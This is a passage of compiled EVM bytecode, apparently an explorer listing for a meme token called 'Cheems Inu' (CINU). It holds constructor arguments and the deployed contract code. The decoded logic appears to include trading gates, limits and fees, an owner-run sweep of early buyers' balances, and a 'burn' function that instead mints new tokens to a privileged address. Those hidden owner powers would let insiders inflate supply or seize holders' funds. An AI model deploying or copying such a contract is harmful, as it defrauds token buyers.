02054612ac190919063ffffffff16565b600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36141a381856134cd90919063ffffffff16565b925050509392505050565b6000808314156141c1576000905061422e565b60008284029050828482816141d257fe5b0414614229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806143ec6021913960400191505060405180910390fd5b809150505b92915050565b600061427683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061427e565b905092915050565b6000808311829061432a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142ef5780820151818401526020810190506142d4565b50505050905090810190601f16801561431c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161433657fe5b049050809150509392505050565b8280548282559060005260206000209081019282156143bd579160200282015b828111156143bc5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614364565b5b5090506143ca91906143ce565b5090565b5b808211156143e75760008160009055506001016143cf565b509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220b2618e1fa433e47a2a4d3921e69a7894ce468855c5697c65ce4daf460209148b64736f6c6343000706003300000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000e0e1e33e92f8e1432be465fc3154127360252db0000000000000000000000000e0e1e33e92f8e1432be465fc3154127360252db0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000a436865656d7320496e7500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000443494e5500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106103545760003560e01c8063790ca413116101c6578063b6a5d7de116100f7578063e66b1d1e11610095578063f887ea401161006f578063f887ea401461117e578063fabe6283146111bf578063fe9fbb801461121c578063ffb54a99146112835761035b565b8063e66b1d1e1461109f578063f0b37c04146110dc578063f2fde38b1461112d5761035b565b8063ca987b0e116100d1578063ca987b0e14610f87578063d920334e14610fb2578063da00097d14610fed578063dd62ed3e1461101a5761035b565b8063b6a5d7de14610eca578063bf56b37114610f1b578063ca33e64c14610f465761035b565b80638b42507f11610164578063a29f8c5d1161013e578063a29f8c5d14610d7e578063a3a2e89e14610dbb578063a8aa1b3114610e18578063a9059cbb14610e595761035b565b80638b42507f14610c5c57806395d89b4114610cc357806398118cb414610d535761035b565b80637d1db4a5116101a05780637d1db4a514610b8a5780637db1342c14610bb5578063807c2d9c14610bf0578063893d20e814610c1b5761035b565b8063790ca41314610af957806379d22b0814610b245780637a31959014610b3b5761035b565b806342966c68116102a057806369cf17d41161023e578063715018a611610218578063715018a614610a4b578063750bf81d14610a6257806375f0a87414610a8d5780637836dbd214610ace5761035b565b806369cf17d4146109905780636b67c4df146109bb57806370a08231146109e65761035b565b806344e403d81161027a57806344e403d81461086a57806346411fc9146108975780634a74bb02146108fc578063571ac8b0146109295761035b565b806342966c681461079b5780634355855a146107d657806344de2e4c1461083d5761035b565b80631f2c80f11161030d5780632f54bf6e116102e75780632f54bf6e1461064c578063313ce567146106b357806334c70889146106e15780633f4218e0146107345761035b565b80631f2c80f11461051f57806323b872dd146105905780632b112e49146106215761035b565b80630445b6671461036057806306fdde031461038b578063095ea7b31461041b5780630d2959801461048c57806318160ddd146104c95780631df4ccfc146104f45761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b506103756112b0565b6040518082815260200191505060405180910390f35b34801561039757600080fd5b506103a06112b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e05780820151818401526020810190506103c5565b50505050905090810190601f16801561040d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042757600080fd5b506104746004803603604081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611358565b60405180821515815260200191505060405180910390f35b34801561049857600080fd5b506104c7600480360360208110156104af57600080fd5b8101908080351515906020019092919050505061144a565b005b3480156104d557600080fd5b506104de611518565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b50610509611522565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b5061058e6004803603604081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611528565b005b34801561059c57600080fd5b50610609600480360360608110156105b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611629565b60405180821515815260200191505060405180910390f35b34801561062d57600080fd5b50610636611829565b6040518082815260200191505060405180910390f35b34801561065857600080fd5b5061069b6004803603602081101561066f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ab565b60405180821515815260200191505060405180910390f35b3480156106bf57600080fd5b506106c8611904565b604051808260ff16815260200191505060405180910390f35b3480156106ed57600080fd5b506107326004803603606081101561070457600080fd5b810190808035151590602001909291908035906020019092919080351515906020019092919050505061191b565b005b34801561074057600080fd5b506107836004803603602081101561075757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d6565b60405180821515815260200191505060405180910390f35b3480156107a757600080fd5b506107d4600480360360208110156107be57600080fd5b81019080803590602001909291905050506119f6565b005b3480156107e257600080fd5b50610825600480360360208110156107f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c55565b60405180821515815260200191505060405180910390f35b34801561084957600080fd5b50610852611c75565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b5061087f611c88565b60405180821515815260200191505060405180910390f35b3480156108a357600080fd5b506108d0600480360360208110156108ba57600080fd5b8101908080359060200190929190505050611c9b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561090857600080fd5b50610911611cda565b60405180821515815260200191505060405180910390f35b34801561093557600080fd5b506109786004803603602081101561094c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ced565b60405180821515815260200191505060405180910390f35b34801561099c57600080fd5b506109a5611d20565b6040518082815260200191505060405180910390f35b3480156109c757600080fd5b506109d0611d26565b6040518082815260200191505060405180910390f35b3480156109f257600080fd5b50610a3560048036036020811015610a0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2c565b6040518082815260200191505060405180910390f35b348015610a5757600080fd5b50610a60611d75565b005b348015610a6e57600080fd5b50610a77611e81565b6040518082815260200191505060405180910390f35b348015610a9957600080fd5b50610aa2611e87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ada57600080fd5b50610ae3611ead565b6040518082815260200191505060405180910390f35b348015610b0557600080fd5b50610b0e611eb3565b6040518082815260200191505060405180910390f35b348015610b3057600080fd5b50610b39611eb9565b005b348015610b4757600080fd5b50610b8860048036036060811015610b5e57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919050505061203e565b005b348015610b9657600080fd5b50610b9f61210d565b6040518082815260200191505060405180910390f35b348015610bc157600080fd5b50610bee60048036036020811015610bd857600080fd5b8101908080359060200190929190505050612113565b005b348015610bfc57600080fd5b50610c056121af565b6040518082815260200191505060405180910390f35b348015610c2757600080fd5b50610c306121b5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6857600080fd5b50610cab60048036036020811015610c7f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121de565b60405180821515815260200191505060405180910390f35b348015610ccf57600080fd5b50610cd86121fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d18578082015181840152602081019050610cfd565b50505050905090810190601f168015610d455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d5f57600080fd5b50610d686122a0565b6040518082815260200191505060405180910390f35b348015610d8a57600080fd5b50610db960048036036020811015610da157600080fd5b810190808035151590602001909291905050506122a6565b005b348015610dc757600080fd5b50610e1660048036036040811015610dde57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061233e565b005b348015610e2457600080fd5b50610e2d612414565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e6557600080fd5b50610eb260048036036040811015610e7c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061243a565b60405180821515815260200191505060405180910390f35b348015610ed657600080fd5b50610f1960048036036020811015610eed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061244f565b005b348015610f2757600080fd5b50610f30612524565b6040518082815260200191505060405180910390f35b348015610f5257600080fd5b50610f5b61252a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f9357600080fd5b50610f9c612550565b6040518082815260200191505060405180910390f35b348015610fbe57600080fd5b50610feb60048036036020811015610fd557600080fd5b8101908080359060200190929190505050612556565b005b348015610ff957600080fd5b506110026125f2565b60405180821515815260200191505060405180910390f35b34801561102657600080fd5b506110896004803603604081101561103d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612605565b6040518082815260200191505060405180910390f35b3480156110ab57600080fd5b506110da600480360360208110156110c257600080fd5b8101908080351515906020019092919050505061268c565b005b3480156110e857600080fd5b5061112b600480360360208110156110ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612724565b005b34801561113957600080fd5b5061117c6004803603602081101561115057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127fa565b005b34801561118a57600080fd5b5061119361295c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156111cb57600080fd5b5061121a600480360360408110156111e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612982565b005b34801561122857600080fd5b5061126b6004803603602081101561123f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a58565b60405180821515815260200191505060405180910390f35b34801561128f57600080fd5b50611298612aae565b60405180821515815260200191505060405180910390f35b60215481565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561134e5780601f106113235761010080835404028352916020019161134e565b820191906000526020600020905b81548152906001019060200180831161133157829003601f168201915b5050505050905090565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b61145333612a58565b6114c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60006101000a81548160ff02191690831515021790555080156115155742600a819055506001601e60016101000a81548160ff021916908315150217905550600c54600a5401600b819055505b50565b6000600754905090565b60165481565b61153133612a58565b6115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461181557611794826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611820848484612c09565b90509392505050565b60006118a6611859600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b611898611887600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b6007546134cd90919063ffffffff16565b6134cd90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600460009054906101000a900460ff16905090565b61192433612a58565b611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82602060016101000a81548160ff0219169083151502179055508160218190555080602060026101000a81548160ff021916908315150217905550505050565b60106020528060005260406000206000915054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611b7357611ad7600460009054906101000a900460ff1660ff16600a0a8202600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b68600460009054906101000a900460ff1660ff16600a0a8202600754612ac190919063ffffffff16565b600781905550611c52565b611bdc600460009054906101000a900460ff1660ff16600a0a8202600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4b600460009054906101000a900460ff1660ff16600a0a82026007546134cd90919063ffffffff16565b6007819055505b50565b60126020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b601e60019054906101000a900460ff1681565b601a8181548110611cab57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060019054906101000a900460ff1681565b6000611d19827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611358565b9050919050565b60155481565b60145481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611d7e336118ab565b611df0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600c5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600a5481565b611ec233612a58565b611f34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b601a80549050811015611fdd576000601a8281548110611f5357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611fce8282613517565b50508080600101915050611f37565b50600067ffffffffffffffff81118015611ff657600080fd5b506040519080825280602002602001820160405280156120255781602001602082028036833780820191505090505b50601a908051906020019061203b929190614344565b50565b61204733612a58565b6120b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8260138190555081601481905550806015819055506120e5601454601354612ac190919063ffffffff16565b601681905550612102601554601654612ac190919063ffffffff16565b601781905550505050565b60085481565b61211c33612a58565b61218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260098190555050565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60116020528060005260406000206000915054906101000a900460ff1681565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122965780601f1061226b57610100808354040283529160200191612296565b820191906000526020600020905b81548152906001019060200180831161227957829003601f168201915b5050505050905090565b60135481565b6122af33612a58565b612321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60016101000a81548160ff02191690831515021790555050565b61234733612a58565b6123b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612447338484612c09565b905092915050565b612458336118ab565b6124ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601d5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b61255f33612a58565b6125d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260088190555050565b602060029054906101000a900460ff1681565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61269533612a58565b612707576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b61272d336118ab565b61279f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612803336118ab565b612875576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61298b33612a58565b6129fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601e60009054906101000a900460ff1681565b600080828401905083811015612b3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290612bf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bbb578082015181840152602081019050612ba0565b50505050905090810190601f168015612be85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000602060009054906101000a900460ff1615612c3257612c2b848484613710565b90506134c6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612cd65750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d8c57601e60009054906101000a900460ff16612d5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54726164696e67206e6f74206f70656e2079657400000000000000000000000081525060200191505060405180910390fd5b600b54421115612d8b576000601e60016101000a81548160ff021916908315150217905550612d8a6138e3565b5b5b60085482111580612de65750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5458204c696d697420457863656564656400000000000000000000000000000081525060200191505060405180910390fd5b601e60019054906101000a900460ff168015612ec15750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015612f175750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612f6d5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fd657601a839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156130415750602060009054906101000a900460ff16155b80156130595750602060019054906101000a900460ff165b80156130a65750602154600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156130b4576130b36139ed565b5b6130bc613ff0565b1580156131165750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15613170576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161316757600080fd5b61316f613ffd565b5b6131f9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132a25750600d60009054906101000a900460ff165b15613308576009546132fc83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b111561330757600080fd5b5b6000601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133ae5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6133b857826133c4565b6133c3858585614006565b5b905061341881600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600061350f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b49565b905092915050565b61356981600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061362081600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061379b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061383082600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60005b601a8054905081101561398c576000601a828154811061390257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061397d8282613517565b505080806001019150506138e6565b50600067ffffffffffffffff811180156139a557600080fd5b506040519080825280602002602001820160405280156139d45781602001602082028036833780820191505090505b50601a90805190602001906139ea929190614344565b50565b6001602060006101000a81548160ff0219169083151502179055506000600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000613a8a6002613a7c601654613a6e601354876141ae90919063ffffffff16565b61423490919063ffffffff16565b61423490919063ffffffff16565b90506000613aa182846134cd90919063ffffffff16565b90506000600267ffffffffffffffff81118015613abd57600080fd5b50604051908082528060200260200182016040528015613aec5781602001602082028036833780820191505090505b5090503081600081518110613afd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613b9f57600080fd5b505afa158015613bb3573d6000803e3d6000fd5b505050506040513d6020811015613bc957600080fd5b810190808051906020019092919050505081600181518110613be757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613ce5578082015181840152602081019050613cca565b505050509050019650505050505050600060405180830381600087803b158015613d0e57600080fd5b505af1158015613d22573d6000803e3d6000fd5b5050505060004790506000613d57613d46600260135461423490919063ffffffff16565b6016546134cd90919063ffffffff16565b90506000613d956002613d8784613d79601354886141ae90919063ffffffff16565b61423490919063ffffffff16565b